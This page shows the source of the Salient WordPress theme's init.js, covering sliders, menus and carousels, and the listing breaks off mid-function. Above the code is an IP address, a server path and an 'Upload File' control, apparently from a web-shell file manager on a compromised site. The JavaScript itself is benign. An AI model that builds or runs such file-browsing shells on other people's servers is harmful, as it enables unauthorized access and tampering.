Your IP : 216.73.216.5


Current Path : /home/theafprt/conviviality360.com/wp-content/themes/salient/js/
Upload File :
Current File : /home/theafprt/conviviality360.com/wp-content/themes/salient/js/init.js

/**
 * Main Salient script file.
 *
 * @package Salient
 * @author ThemeNectar
 */
 /* global jQuery */
 /* global Waypoint */
 /* global imagesLoaded */
 /* global Flickity */
	
(function($, window, document) {
	
	"use strict";
		
		// Theme vars.
		var $window                 = $(window),
		$body                       = $('body'),
		$offCanvasEl                = $('#slide-out-widget-area'),
		$offCanvasBG                = $('#slide-out-widget-area-bg'),
		$headerOuterEl              = $('#header-outer'),
		$headerSecondaryEl          = $('#header-secondary-outer'),
		$searchButtonEl             = $('#header-outer #search-btn a'),
		$wpAdminBar                 = $('#wpadminbar'),
		$loadingScreenEl            = $('#ajax-loading-screen'),
		$bodyBorderTop              = $('.body-border-top'),
		$pageHeaderBG               = $('#page-header-bg'),
		$bodyBorderWidth            = ($('.body-border-right').length > 0) ? $('.body-border-right').width() : 0,
		$logoHeight                 = ($headerOuterEl.is('[data-logo-height]')) ? parseInt($headerOuterEl.attr('data-logo-height')) : 30,
		headerPadding               = ($headerOuterEl.is('[data-padding]')) ? parseInt($headerOuterEl.attr('data-padding')) : 28,
		logoShrinkNum               = ($headerOuterEl.is('[data-shrink-num]')) ? $headerOuterEl.attr('data-shrink-num') : 6,
		condenseHeaderLayout        = ($headerOuterEl.is('[data-condense="true"]')) ? true : false, 
		usingLogoImage              = ($headerOuterEl.is('[data-using-logo="1"]')) ? true : false,
		headerResize                = ($headerOuterEl.is('[data-header-resize="1"]')) ? true : false,
		headerHideUntilNeeded       = ($body.is('[data-hhun]')) ? $body.attr('data-hhun') : '',
		$animationEasing            = ($body.is('[data-cae]') && $body.attr('data-cae') !== 'swing' ) ? $body.attr('data-cae') : 'easeOutCubic',
		$animationDuration          = ($body.is('[data-cad]')) ? $body.attr('data-cad') : '650',
		$portfolio_containers       = [],
		$svgIcons                   = [],
		$nectarCustomSliderRotate   = [],
		$flickitySliders            = [],
		flickityDragArr             = [],
		viewIndicatorArr            = [],
		iconMouseFollowArr          = [],
		$fsProjectSliderArr         = [],
		$wooFlickityCarousels       = [],
		$liquidBG_EL                = [],
		$testimonialSliders         = [],
		$mouseParallaxScenes        = [],
		$nectarMasonryBlogs         = [],
		$standAnimatedColTimeout    = [],
		$animatedSVGIconTimeout     = [],
		$projectCarouselSliderArr   = [],
		$nectarPostGridArr          = [],
		$tabbedClickCount           = 0,
		$fullscreenSelector         = '',
		$bodyBorderHeaderColorMatch = false,
		nectarBoxRoll               = {
			animating: 'false',
			perspect: 'not-rolled'
		},
		$nectarFullPage             = {
			$usingFullScreenRows: false
		},
		$svgResizeTimeout,
		$bodyBorderSizeToRemove;
		
		if( $bodyBorderTop.length > 0 ) {
			
			if ( $bodyBorderTop.css('background-color') == '#ffffff' && $body.attr('data-header-color') == 'light' ||
				$bodyBorderTop.css('background-color') == 'rgb(255, 255, 255)' && $body.attr('data-header-color') == 'light' ||
				$bodyBorderTop.css('background-color') == $headerOuterEl.attr('data-user-set-bg')) {
				$bodyBorderHeaderColorMatch = true;
			}
			
		}


		
		/**
		* Nectar DOM info helper.
		*
		* @since 9.0
		*/
		var nectarDOMInfo = {
												
			usingMobileBrowser: (navigator.userAgent.match(/(Android|iPod|iPhone|iPad|BlackBerry|IEMobile|Opera Mini)/)) ? true : false,
			usingFrontEndEditor: (typeof window.vc_iframe === 'undefined') ? false : true,
			getWindowSize: function() {
				nectarDOMInfo.winH                  = window.innerHeight;
				nectarDOMInfo.winW                  = window.innerWidth;
				nectarDOMInfo.adminBarHeight        = ($wpAdminBar.length > 0) ? $wpAdminBar.height() : 0;
				nectarDOMInfo.secondaryHeaderHeight = ($headerSecondaryEl.length > 0 && $headerSecondaryEl.css('display') != 'none') ? $headerSecondaryEl.outerHeight() : 0;
			},
			scrollTop: 0,
			clientX: 0,
			clientY: 0,
			scrollPosMouse: function() {
				return $window.scrollTop();
			},
			scrollPosRAF: function() {
				nectarDOMInfo.scrollTop = $window.scrollTop();
				requestAnimationFrame(nectarDOMInfo.scrollPosRAF);
			},
			bindEvents: function() {
				
				if (!nectarDOMInfo.usingMobileBrowser) {
					$window.on('scroll', function() {
						nectarDOMInfo.scrollTop = nectarDOMInfo.scrollPosMouse();
					});
				} else {
					requestAnimationFrame(nectarDOMInfo.scrollPosRAF);
				}
				
				document.addEventListener("mousemove", function(e) {
					nectarDOMInfo.clientX = e.clientX;
					nectarDOMInfo.clientY = e.clientY;
				});
				
				$window.on('resize', nectarDOMInfo.getWindowSize);
				
			},
			init: function() {
				// Re-cache WP admin bar after DOM ready
				$wpAdminBar = $('#wpadminbar');
				
				// Get values and bind events
				this.getWindowSize();
				this.scrollTop = this.scrollPosMouse();
				this.bindEvents();
				
				this.usingFrontEndEditor = (typeof window.vc_iframe === 'undefined') ? false : true;
			}
			
		};
		
		


		/**
		* Debounced resize event
		*
		* @since 2.0
		*/
		
		function smartResizeInit() {
			fullWidthContentColumns();
			parallaxRowsBGCals();
			headerSpace();
			OCM_overflowState();
			showOnLeftSubMenu();
		}
		
	
		
		/**
		* Main resize event.
		*
		* @since 2.0
		*/
		function resizeInit() {
			fullWidthSections();
			fullWidthContentColumns();
			addOrRemoveSF();
			responsiveVideoIframes();
			
			if (!nectarDOMInfo.usingMobileBrowser) {
				parallaxRowsBGCals();
			}
	
		}
		


		/**
		* Flexslider plugin initialization.
		*
		* @since 5.0
		*/
		function flexsliderInit() {
			$('.flex-gallery').each(function () {
				
				if (!$().flexslider) {
					return;
				}
				
				var $that = $(this);
				
				imagesLoaded($(this), function () {
					
					$that.flexslider({
						animation: 'fade',
						smoothHeight: false,
						animationSpeed: 500,
						useCSS: false,
						touch: true
					});
					
					//gallery slider add arrows
					$('.flex-gallery .flex-direction-nav li a.flex-next').html('<i class="fa fa-angle-right"></i>');
					$('.flex-gallery .flex-direction-nav li a.flex-prev').html('<i class="fa fa-angle-left"></i>');
					
				});
				
			});
		}
		
		
		
		/**
		* Icon follow.
		*
		* @since 11.0
		*/
		function NectarIconMouseFollow($el, iconType) {
			
			this.lastX = 0;
			this.lastY = 0;
			this.$el = $el;
			this.iconType = iconType;
			this.timeout = false;
			this.overEl = false;
			this.$dragEl = '';
			this.$viewEl = '';
			this.$closeEl = '';
			
			this.createMarkup();
			this.mouseBind();
		}
		
		NectarIconMouseFollow.prototype.createMarkup = function() {
			
			if( this.iconType === 'horizontal-movement' ) {

				if( $('.nectar-drag-indicator').length == 0 ) {
					$('body').append('<div class="nectar-drag-indicator"><span><i class="fa fa-angle-left"></i><i class="fa fa-angle-right"></i></span></div>');
					this.$dragEl = $('.nectar-drag-indicator');
					this.dragRAF();
				} else {
					this.$dragEl = $('.nectar-drag-indicator');
				}
				

			}
			
			if( this.iconType === 'view-indicator' ) {
				
				if( $('.nectar-view-indicator').length == 0 ) {
					$('body').append('<div class="nectar-view-indicator"><div class="color-circle"></div><span></span></div>');
					$('.nectar-view-indicator span').text( $('.nectar-post-grid').attr('data-indicator-text') );
					this.$viewEl = $('.nectar-view-indicator');
					this.viewRAF();
				} else {
					this.$viewEl = $('.nectar-view-indicator');
				}

			}
			
			if( this.iconType === 'close-indicator' ) {
				if( $('.nectar-view-indicator').length == 0 ) {
					var $usingBoxedClass = ($('body > #boxed').length > 0) ? 'in-boxed' : '';
					$('body').append('<div class="nectar-close-indicator ' + $usingBoxedClass + '"><div class="inner"></div></div>');
					this.$closeEl = $('.nectar-close-indicator');
					this.closeRAF();
				} else {
					this.$closeEl = $('.nectar-close-indicator');
				}
				
			}
			
		}
		
		NectarIconMouseFollow.prototype.mouseBind = function() {
			
			var that = this;
			
			if( this.iconType === 'horizontal-movement' ) {
				
				that.$el.find('.flickity-viewport').on('mouseenter', function() {
					that.$dragEl.addClass('visible');
				});
				
				that.$el.find('.flickity-viewport').on('mouseleave', function() {
					that.$dragEl.removeClass('visible');
				});
				
			} else if( this.iconType === 'close-indicator' ) {
				
				$('body').on('click','.team-member[data-style*="bio_fullscreen"]',function(){
					
					if ($('.nectar_team_member_overlay:not(.open)').length > 0) {
						return;
					}
					
					that.$closeEl.addClass('visible');
					that.$closeEl.find('.inner').addClass('visible');
				});
				
				$('body').on('click','.nectar_team_member_overlay:not(.animating)',function(){
					that.$closeEl.removeClass('visible');
					that.$closeEl.find('.inner').removeClass('visible');
				});
				
				// Handle social links.
				$('body').on('mouseenter', '.nectar_team_member_overlay .bottom_meta a', function() {
					that.$closeEl.removeClass('visible');
				});
				$('body').on('mouseleave', '.nectar_team_member_overlay .bottom_meta a', function() {
					that.$closeEl.addClass('visible');
				});
				
			}
			else if( this.iconType === 'view-indicator' ) {
				
				var $color = that.$el.attr('data-indicator-color');
				var $style = that.$el.attr('data-indicator-style');
				
				// unbind first.
				that.$el.find('.nectar-post-grid-item').off();
				
				that.$el.find('.nectar-post-grid-item').on('mouseenter', function() {
					
					that.$viewEl.addClass('visible');
					
					// Handle style class.
					that.$viewEl.attr('class', function(i, c){
							return c.replace(/(^|\s)style-\S+/g, '');
					});
					that.$viewEl.addClass('style-'+$style);
					if( $style !== 'see-through' ) {
						that.$viewEl.find('.color-circle').css('background-color', $color);
					}
					
					clearTimeout(that.timeout);
				});
				
				that.$el.find('.nectar-post-grid-item').on('mouseleave', function() {
					that.timeout = setTimeout(function(){
						that.$viewEl.removeClass('visible');
					},100); 
					
				});
				
				// Handle category links.
				that.$el.find('.nectar-post-grid-item .meta-category a').on('mouseenter', function() {
					that.$viewEl.removeClass('visible');
				});
				that.$el.find('.nectar-post-grid-item .meta-category a').on('mouseleave', function() {
					that.$viewEl.addClass('visible');
				});
				
			} 
			
		};
		
		NectarIconMouseFollow.prototype.dragRAF = function() {

			this.lastY = linearInterpolate(this.lastY, nectarDOMInfo.clientY, 0.21);
			this.lastX = linearInterpolate(this.lastX, nectarDOMInfo.clientX, 0.21);
			
			this.$dragEl.css({
				'transform': 'translateX(' + this.lastX + 'px) translateY(' + this.lastY + 'px)'
			});

			requestAnimationFrame(this.dragRAF.bind(this));

		};
		
		NectarIconMouseFollow.prototype.viewRAF = function() {

			this.lastY = linearInterpolate(this.lastY, nectarDOMInfo.clientY, 0.21);
			this.lastX = linearInterpolate(this.lastX, nectarDOMInfo.clientX, 0.21);
			
			this.$viewEl.css({
				'transform': 'translateX(' + this.lastX + 'px) translateY(' + this.lastY + 'px)'
			});

			requestAnimationFrame(this.viewRAF.bind(this));

		};
		
		NectarIconMouseFollow.prototype.closeRAF = function() {

			this.lastY = linearInterpolate(this.lastY, nectarDOMInfo.clientY, 0.21);
			this.lastX = linearInterpolate(this.lastX, nectarDOMInfo.clientX, 0.21);
			
			this.$closeEl.css({
				'transform': 'translateX(' + this.lastX + 'px) translateY(' + this.lastY + 'px)'
			});

			requestAnimationFrame(this.closeRAF.bind(this));

		};
		
		
		
		/**
		* Flickity lazy image helper
		*
		* Needed to calculate the space which
		* lazy loaded images will eventually occupy.
		*
		* @since 11.0
		*/
		function flickityLazyCalcs() {
			
			$('.wpb_gallery_slidesflickity_static_height_style .cell[data-lazy="true"]').each(function() {
				
				$(this).css({
					'height': '',
					'width' : ''
				});
				
				var heightAttr = parseInt($(this).find('img').attr('height'));
				var widthAttr = parseInt($(this).find('img').attr('width'));
				
				var dimensions = calculateAspectRatio( widthAttr, heightAttr, 2000, parseInt($(this).find('img').height()) );
				
				$(this).css({
					'height':  dimensions.height + 'px',
					'width' :  dimensions.width + 'px'
				});
				
			});
			
		}
		
		
		/**
		* Flickity lazy initialization.
		*
		* @since 11.0
		*/
		function flickityLazyInit() {
			// Lazy assist.
			if( $('.wpb_gallery_slidesflickity_static_height_style .cell[data-lazy="true"]').length > 0 ) {
				flickityLazyCalcs();
				$window.on('smartresize',flickityLazyCalcs);
			}
		}
		
		
		/**
		* Flickity plugin initialization.
		*
		* @since 7.0
		*/
		function flickityInit() {
			
			if ($('.nectar-flickity:not(.masonry)').length == 0) {
				return false;
			}
			
			$flickitySliders = [];
			flickityDragArr = [];
			

			$('.nectar-flickity:not(.masonry)').each(function (i) {
				
				$(this).removeClass(function (index, className) {
					return (className.match(/(^|\s)instance-\S+/g) || []).join(' ');
				});
				$(this).addClass('instance-' + i);
				
				var $freeScrollBool   = ($(this).is('[data-free-scroll]') && $(this).attr('data-free-scroll') == 'true') ? true : false,
				$groupCellsBool       = true,
				$flickContainBool     = true,
				$flcikAttr            = 0.025,
				$paginationBool       = false,
				$nextPrevArrowBool    = true,
				$flickCellAlign       = 'center';
				
				if ($(this).is('[data-format="fixed_text_content_fullwidth"]')) {
					$flickCellAlign   = 'left';
					$groupCellsBool   = false;
					$flickContainBool = false;
					$flcikAttr        = 0.02;
				}
				
				if ($freeScrollBool == true ) {
					$groupCellsBool = false;
				}
				

				if ($(this).attr('data-controls').length > 0 && 
				$(this).attr('data-controls') == 'next_prev_arrows'|| 
				$(this).attr('data-controls').length > 0 && 
				$(this).attr('data-controls') == 'next_prev_arrows_overlaid') {
					$paginationBool     = false;
					$nextPrevArrowBool  = true;
				} else {
					$paginationBool     = true;
					$nextPrevArrowBool  = false;
				}
				
				
				if ($(this).attr('data-controls').length > 0 && 
				$(this).attr('data-controls') == 'none') {
					$paginationBool     = false;
					$nextPrevArrowBool  = false;
				}
				
				var $flickity_autoplay = false;
				
				if ($(this).is('[data-autoplay]') && 
				$(this).attr('data-autoplay') == 'true') {
					
					$flickity_autoplay = true;
					
					if ($(this).is('[data-autoplay-dur]') && 
					$(this).attr('data-autoplay-dur').length > 0) {
						
						if (parseInt($(this).attr('data-autoplay-dur')) > 100 && 
						parseInt($(this).attr('data-autoplay-dur')) < 30000) {
							$flickity_autoplay = parseInt($(this).attr('data-autoplay-dur'));
						}
						
					}
					
				}
				
				var $that 							 = $(this);
				var $frontEndEditorDrag  = ($('body.vc_editor').length > 0) ? false : true;
				var $frontEndEditorPause = ($('body.vc_editor').length > 0) ? true : false;
				var $arrowShape = '';
				var $wrapAround = ( $(this).is('[data-wrap]') && $(this).attr('data-wrap') == 'no-wrap' ) ? false : true;
				var $lazyload = ($(this).find('img[data-flickity-lazyload]')) ? 1 : false;
				if( $(this).find('img[data-flickity-lazyload]') && $(this).is('[data-overflow="visible"]') && $(this).is('[data-wrap="no-wrap"]') ) {
					$lazyload = 2;
				}
				
				if( $(this).attr('data-controls').length > 0 && $(this).attr('data-controls') == 'next_prev_arrows_overlaid' ||
				$(this).attr('data-controls').length > 0 && $(this).attr('data-controls') == 'touch_total' ) {
					$arrowShape	= { 
						x0: 10,
						x1: 60, y1: 50,
						x2: 70, y2: 40,
						x3: 30
					}
				} else {
					$arrowShape = {
						x0: 20,
						x1: 70,
						y1: 30,
						x2: 70,
						y2: 25,
						x3: 70
					}
				}
				
				$flickitySliders[i] = new Flickity('.nectar-flickity.instance-' + i, {
					contain: $flickContainBool,
					draggable: $frontEndEditorDrag,
					lazyLoad: $lazyload,
					imagesLoaded: true,
					percentPosition: true,
					cellAlign: $flickCellAlign,
					groupCells: $groupCellsBool,
					prevNextButtons: $nextPrevArrowBool,
					freeScroll: $freeScrollBool,
					pageDots: $paginationBool,
					resize: true,
					selectedAttraction: $flcikAttr,
					autoPlay: $flickity_autoplay,
					pauseAutoPlayOnHover: $frontEndEditorPause,
					setGallerySize: true,
					wrapAround: $wrapAround,
					accessibility: false,
					arrowShape: $arrowShape
				});
				
				
				// Visualized total controls
				if( $(this).is('[data-controls="touch_total"]') ) {
					
					// Create markup.
					if( $(this).find('.visualized-total').length == 0 ) {
						if( $(this).parents('.full-width-content').length > 0 && $(this).parents('.vc_col-sm-12').length > 0 ) {
							$(this).append('<div class="container normal-container"><div class="visualized-total"><span></span></div></div>');
						} else {
							$(this).append('<div class="visualized-total"><span></span></div>');
						}
					}
					

					// Init drag indicator.
					if( !nectarDOMInfo.usingMobileBrowser ) {
						
						flickityDragArr[i] = new NectarIconMouseFollow($(this),'horizontal-movement');
						
						$flickitySliders[i].on('dragMove', function (event, pointer) {
							nectarDOMInfo.clientY = pointer.clientY;
							nectarDOMInfo.clientX = pointer.clientX;
						});
						
					}
					
					var $totalImgs      = $(this).find('.flickity-page-dots li').length;
					var $totalIndicator = $(this).find('.visualized-total span');
					var $totalPosition  = 1;
					var $totalWidth     = $(this).find('.visualized-total').width();
					
					$window.on('smartresize',function() {
						
						setTimeout(function() {

							$totalImgs  = $that.find('.flickity-page-dots li').length;
							$totalWidth = $that.find('.visualized-total').width();
							
							$totalPosition = ($totalWidth / $totalImgs) * $that.find('.flickity-page-dots .is-selected').index();

							// Update pos on interaction.
							$totalIndicator.css('width', 100/$totalImgs + '%');
							$totalIndicator.css({
								'x' : $totalPosition + 'px'
							});

						},200);
						
					});
					
					// Set initial total tracker width.
					setTimeout(function(){
						$totalImgs  = $that.find('.flickity-page-dots li').length;
						$totalWidth = $that.find('.visualized-total').width();

						$totalIndicator.css('width', 100/$totalImgs + '%');
					},200);

					$flickitySliders[i].on('change', function (event, progress) {
						
						$totalPosition = ($totalWidth / $totalImgs) * $that.find('.flickity-page-dots .is-selected').index();

						// Update pos on interaction.
						$totalIndicator.css({
							'x' : $totalPosition + 'px'
						});
						
					});
					
				}
				
				
				// Fixed text content style
				if ($(this).is('[data-format="fixed_text_content_fullwidth"]') && !nectarDOMInfo.usingFrontEndEditor) {
					
					var $onMobileBrowser = nectarDOMInfo.usingMobileBrowser;
					
					$flickitySliders[i].on('scroll', function () {
						
						if ($onMobileBrowser) {
							return;
						}
						
						var $flkSlideWidth 	= $that.find('.cell').outerWidth() + 25,
						$leftHeaderSize 		= ($('body[data-header-format="left-header"]').length > 0 && $window.width() > 1000) ? 275 : 0,
						$extraWindowSpace 	= (($window.width() + $leftHeaderSize) - $that.parents('.main-content').width()) / 2;
						
						$extraWindowSpace += parseInt($that.css('margin-left')) + 2;
						
						$flickitySliders[i].slides.forEach(function (slide, j) {
							
							var $scaleAmt     = 1,
							$translateXAmt    = 0,
							$rotateAmt        = 0,
							$slideZIndex      = 10,
							$opacityAmt       = 1,
							$slideOffset      = $(slide.cells[0].element).offset().left,
							flkInstanceSlide  = $('.nectar-flickity.instance-' + i + ' .cell:nth-child(' + (j + 1) + ')');
							
							if ($slideOffset - $extraWindowSpace < 0 && 
								$slideOffset - $extraWindowSpace > $flkSlideWidth * -1) {
									
								$scaleAmt       = 1 + (($slideOffset - $extraWindowSpace) / 1500);
								$opacityAmt     = 1 + (($slideOffset - $extraWindowSpace + 70) / 550);
								$translateXAmt  = (($slideOffset - $extraWindowSpace)) * -1;
								$rotateAmt      = (($slideOffset - $extraWindowSpace) / 25) * -1;
								
							} else {
								$scaleAmt       = 1;
								$opacityAmt     = 1;
								$translateXAmt  = 0;
								$rotateAmt      = 0;
							}
							
							if ($slideOffset + 5 - $extraWindowSpace < 0 && 
								$slideOffset - $extraWindowSpace > $flkSlideWidth * -1) {
									
								$slideZIndex = 5;
							} else {
								$slideZIndex = 10;
							}
							
							flkInstanceSlide.css({
								'z-index': $slideZIndex
							});
							
							flkInstanceSlide.find('.inner-wrap-outer').css({
								'transform': 'perspective(800px) translateX(' + $translateXAmt + 'px) rotateY(' + $rotateAmt + 'deg) translateZ(0)',
								'opacity': $opacityAmt
							});
							
							flkInstanceSlide.find('.inner-wrap').css({
								'transform': 'scale(' + $scaleAmt + ') translateZ(0)'
							});
							
						});
						
					});
					
				}
				
				var $removeHiddenTimeout;
				var $removeMovingTimeout;
				
				$flickitySliders[i].on('dragStart', function () {
					
					clearTimeout($removeHiddenTimeout);
					clearTimeout($removeMovingTimeout);
					$that.addClass('is-dragging');
					$that.addClass('is-moving');
					
					$that.find('.flickity-prev-next-button').addClass('hidden');
				});
				
				$flickitySliders[i].on('dragEnd', function () {
					
					$that.removeClass('is-dragging');
					
					$removeHiddenTimeout = setTimeout(function () {
						
						$that.removeClass('is-moving');
						$that.find('.flickity-prev-next-button').removeClass('hidden');
							
					}, 600);
					
					$removeMovingTimeout = setTimeout(function () {
						$that.removeClass('is-moving');
					}, 300);
					
				});
				
				$('.flickity-prev-next-button').on('click', function () {
					
					clearTimeout($removeHiddenTimeout);
					
					$(this).parents('.nectar-flickity')
						.find('.flickity-prev-next-button')
						.addClass('hidden');
					
					$removeHiddenTimeout = setTimeout(function () {
						$that
							.find('.flickity-prev-next-button')
							.removeClass('hidden');
					}, 600);
					
				});
				
				
				// Images loaded.
				if ($that.hasClass('nectar-carousel')) {
					imagesLoaded($that, function () {
						nectarCarouselFlkEH($that);
					});
				}
				
			});
			
			
			// Resize event.
			var $usingNectarCarouselFlk = ($('.nectar-carousel.nectar-flickity:not(.masonry)').length > 0) ? true : false;
			
			if ($usingNectarCarouselFlk) {
				$window.on('resize',setNectarCarouselFlkEH);
			}
			
		}
		
		
		

		
		/**
		* Flickity equal height helper.
		*
		* @since 7.0
		*/
		function setNectarCarouselFlkEH() {
			$('.nectar-carousel.nectar-flickity:not(.masonry)').each(function () {
				nectarCarouselFlkEH($(this));
			});
		}
		

		
		/**
		* Flickity equal height calculations.
		*
		* @since 7.0
		*/
		function nectarCarouselFlkEH($slider_instance) {
			
			var $tallestSlideCol = 0;
			
			$slider_instance
				.find('.flickity-slider > .cell')
				.css('height', 'auto');
			
			$slider_instance.find('.flickity-slider > .cell').each(function () {
				
				if( $(this).height() > $tallestSlideCol ) {
					$tallestSlideCol = $(this).height();
				}
			
			});
			
			if ($tallestSlideCol < 10) {
				$tallestSlideCol = 'auto';
			}
			
			//set even height
			$slider_instance
				.find('.flickity-slider > .cell')
				.css('height', $tallestSlideCol + 'px');
			
		}
		
		
		
		/**
		* twentytwenty plugin initialization.
		*
		* @since 7.0
		*/
		function twentytwentyInit() {
			$('.twentytwenty-container').each(function () {
				var $that = $(this);
				
				if ($that.find('.twentytwenty-handle').length == 0) {
					$(this).imagesLoaded(function () {
						$that.twentytwenty();
					});
				}
				
			});
		}
		
		

		

		/**
		* Superfish initialization and submenu functionality. 
		*
		* @since 2.0
		*/
		function initSF() {
			
			addOrRemoveSF();
			
			if ($('body[data-header-format="left-header"]').length == 0) {
				
				var $disableHI;
				
				if (!($('#header-outer[data-megamenu-rt="1"]').length > 0 && 
				$('#header-outer[data-transparent-header="true"]').length > 0)) {
					$disableHI = true;
				} else {
					$disableHI = false;
				}
				
				$(".sf-menu:not(.buttons)").superfish({
					delay: 650,
					speed: 'fast',
					disableHI: $disableHI,
					speedOut: 'fast',
					animation: {
						opacity: 'show'
					}
				});
				
				// Pull right/left menu
				$('#header-outer .sf-menu.buttons li.menu-item').on('mouseover',function(){
					$(this).addClass('sfHover');
				});
				$('#header-outer .sf-menu.buttons li.menu-item').on('mouseleave',function(){
					var $that = $(this);
					
					if( $that.is('.menu-item-has-children') ) {
						setTimeout(function () {
							if( !$that.is(':hover') ) {
								$that.removeClass('sfHover');
							}
						}, 200);
					} else {
							$that.removeClass('sfHover');
					}
				});
				
				// Areas that do not use megamenu.
				$('#header-secondary-outer li.megamenu, .sf-menu.buttons li.megamenu').removeClass('megamenu');
				
				$('#header-outer .sf-menu > li:not(.megamenu) > ul > li > ul').each(function () {
					
					if ($(this).offset().left + $(this).outerWidth() > $window.width()) {
						$(this).addClass('on-left-side');
						$(this).find('ul').addClass('on-left-side');
					}
					
				});
				
				// Megamenu multi section per column title support.
				$('body:not([data-header-format="left-header"]) header#top nav > ul > li.megamenu > ul > li > ul > li:has("> ul")').addClass('has-ul');
				
				// Full width megamenu.
				if ($('body[data-megamenu-width="full-width"]').length > 0 && $('ul.sub-menu').length > 0) {
					megamenuFullwidth();
					$window.on('smartresize', megamenuFullwidth);
					$('header#top nav > ul > li.megamenu > .sub-menu').css('box-sizing', 'content-box');
				}
				
				// Extra hover class for megamenu check.
				$('header#top nav > ul.sf-menu > li.menu-item').on('mouseenter', function () {
					$(this).addClass('menu-item-over');
				});
				$('header#top nav > ul.sf-menu > li.menu-item').on('mouseleave', function () {
					$(this).removeClass('menu-item-over');
				});
				
				// Remove arrows on mega menu item.
				$('header#top nav .megamenu .sub-menu a.sf-with-ul .sf-sub-indicator, header#top .megamenu .sub-menu a .sf-sub-indicator').remove();
				
				// Blank title megamenu columns.
				$('header#top nav > ul > li.megamenu > ul.sub-menu > li > a').each(function () {
					if ($(this).text() == '-' || $(this).text() == '–' || $(this).parent().hasClass('hide-title')) {
						$(this).remove();
					}
				});

			}
			

			// Deactivate hide header until needed effect on phone.
			if (nectarDOMInfo.usingMobileBrowser && $('#header-outer[data-remove-fixed="1"]').length == 0) {
				$body.attr('data-hhun', '0');
			}
			
		}
		
		
		
		/**
		* Calculates the "Header Mega Menu Width - Full screen width" theme option.
		*
		* @since 6.0
		*/
		function megamenuFullwidth() {
			
			var $windowWidth = $window.width();
			var $headerContainerWidth = $('header#top > .container').width();
			$('header#top nav > ul > li.megamenu > .sub-menu').css({
				'padding-left': ($windowWidth - $headerContainerWidth) / 2 + 'px',
				'padding-right': ($windowWidth + 2 - $headerContainerWidth) / 2 + 'px',
				'width': $headerContainerWidth,
				'left': '-' + ($windowWidth - $headerContainerWidth) / 2 + 'px'
			});
		}
		
		
		/**
		* Hide main navigation on mobile.
		*
		* @since 2.0
		*/
		function addOrRemoveSF() {
			
			if (nectarDOMInfo.winW < 1000 && $body.attr('data-responsive') == '1') {
				$body.addClass('mobile');
				$('header#top nav').css('display', 'none');
			} else {
				$body.removeClass('mobile');
				$('header#top nav').css('display', '');
				$('.slide-out-widget-area-toggle #toggle-nav .lines-button').removeClass('close');
			}
			
			
		}
		
		
		/**
		* Calculates whether submenu needs to display aligned opposite (from lack of space).
		*
		* @since 2.0
		*/
		function showOnLeftSubMenu() {
			
			// Show on left class for minimal styling.
			$('#header-outer .sf-menu > li:not(.megamenu) > ul > li > ul').each(function () {
				
				$(this).removeClass('on-left-side');
				
				if ($(this).offset().left + $(this).outerWidth() > $window.width()) {
					$(this).addClass('on-left-side');
					$(this).find('ul').addClass('on-left-side');
				} else {
					$(this).removeClass('on-left-side');
					$(this).find('ul').removeClass('on-left-side');
				}
				
			});
		}
		
		

		
		/**
		* Caroufredsel plugin initialization.
		*
		* @since 2.0
		*/
		function standardCarouselInit() {
			
			if ($('.carousel').length == 0) {
				return;
			}
			
			if (typeof SalientRecentProjectsCarousel !== 'undefined') {
				$('ul.carousel.portfolio-items').each(function (i) {
					$projectCarouselSliderArr[i] = new SalientRecentProjectsCarousel($(this));
				});
			}
			
			$('ul.carousel:not(".clients"):not(.portfolio-items)').each(function () {
				
				var $that       = $(this),
				maxCols         = ($(this).parents('.carousel-wrap').attr('data-full-width') == 'true') ? 'auto' : 3,
				scrollNum       = ($(this).parents('.carousel-wrap').attr('data-full-width') == 'true') ? 'auto' : '',
				colWidth        = ($(this).parents('.carousel-wrap').attr('data-full-width') == 'true') ? 500 : 453,
				$autoplayBool   = ($(this).attr('data-autorotate') == 'true') ? true : false,
				$themeSkin      = true,
				$themeSkin2     = true;
				
				var scrollSpeed, easing;
				
				if ($('body.ascend').length > 0 && $(this).parents('.carousel-wrap').attr('data-full-width') != 'true' || 
				$('body.material').length > 0 && $(this).parents('.carousel-wrap').attr('data-full-width') != 'true') {
					
					if ($(this).find('li').length % 3 === 0) {
						$themeSkin  = true;
						$themeSkin2 = true;
					} else {
						$themeSkin  = false;
						$themeSkin2 = true;
					}
					
				} else {
					$themeSkin 	= true;
					$themeSkin2 = true;
				}
				
				scrollSpeed = (parseInt($(this).attr('data-scroll-speed'))) ? parseInt($(this).attr('data-scroll-speed')) : 700;
				easing = ($(this).is('[data-easing]')) ? $(this).attr('data-easing') : 'linear';
				
				var $element = $that;
				if ($that.find('img').length == 0) {
					$element = $body;
				}
				
				imagesLoaded($element, function () {
					
					$that.carouFredSel({
						circular: $themeSkin,
						infinite: $themeSkin2,
						height: 'auto',
						responsive: true,
						items: {
							width: colWidth,
							visible: {
								min: 1,
								max: maxCols
							}
						},
						swipe: {
							onTouch: true,
							onMouse: true,
							options: {
								excludedElements: "button, input, select, textarea, .noSwipe",
								tap: function (event, target) {
									if ($(target).attr('href') && 
									!$(target).is('[target="_blank"]') && 
									!$(target).is('[rel^="prettyPhoto"]') && 
									!$(target).is('.magnific-popup') && 
									!$(target).is('.magnific')) {
										window.open($(target).attr('href'), '_self');
									}
								}
							},
							onBefore: function () {
								// Hover effect.
								$that.find('.work-item').trigger('mouseleave');
								$that.find('.work-item .work-info a').trigger('mouseup');
							}
						},
						scroll: {
							items: scrollNum,
							easing: easing,
							duration: scrollSpeed,
							onBefore: function () {
								
								if ($('body.ascend').length > 0 && $that.parents('.carousel-wrap').attr('data-full-width') != 'true' || 
								$('body.material').length > 0 && $that.parents('.carousel-wrap').attr('data-full-width') != 'true') {
									
									$that.parents('.carousel-wrap')
										.find('.item-count .total')
										.html(Math.ceil($that.find('> li').length / $that.triggerHandler("currentVisible").length));
								
								}
							},
							onAfter: function () {
								if ($('body.ascend').length > 0 && $that.parents('.carousel-wrap').attr('data-full-width') != 'true' || 
								$('body.material').length > 0 && $that.parents('.carousel-wrap').attr('data-full-width') != 'true') {
									
									$that.parents('.carousel-wrap')
										.find('.item-count .current')
										.html($that.triggerHandler('currentPage') + 1);
										
									$that.parents('.carousel-wrap')
										.find('.item-count .total')
										.html(Math.ceil($that.find('> li').length / $that.triggerHandler("currentVisible").length));
								
								}
							}
							
						},
						prev: {
							button: function () {
								return $that.parents('.carousel-wrap').find('.carousel-prev');
							}
						},
						next: {
							button: function () {
								return $that.parents('.carousel-wrap').find('.carousel-next');
							}
						},
						auto: {
							play: $autoplayBool
						}
					}, {
						transition: true
					}).animate({
						'opacity': 1
					}, 1300);
					
					$that
						.parents('.carousel-wrap')
						.wrap('<div class="carousel-outer">');
					
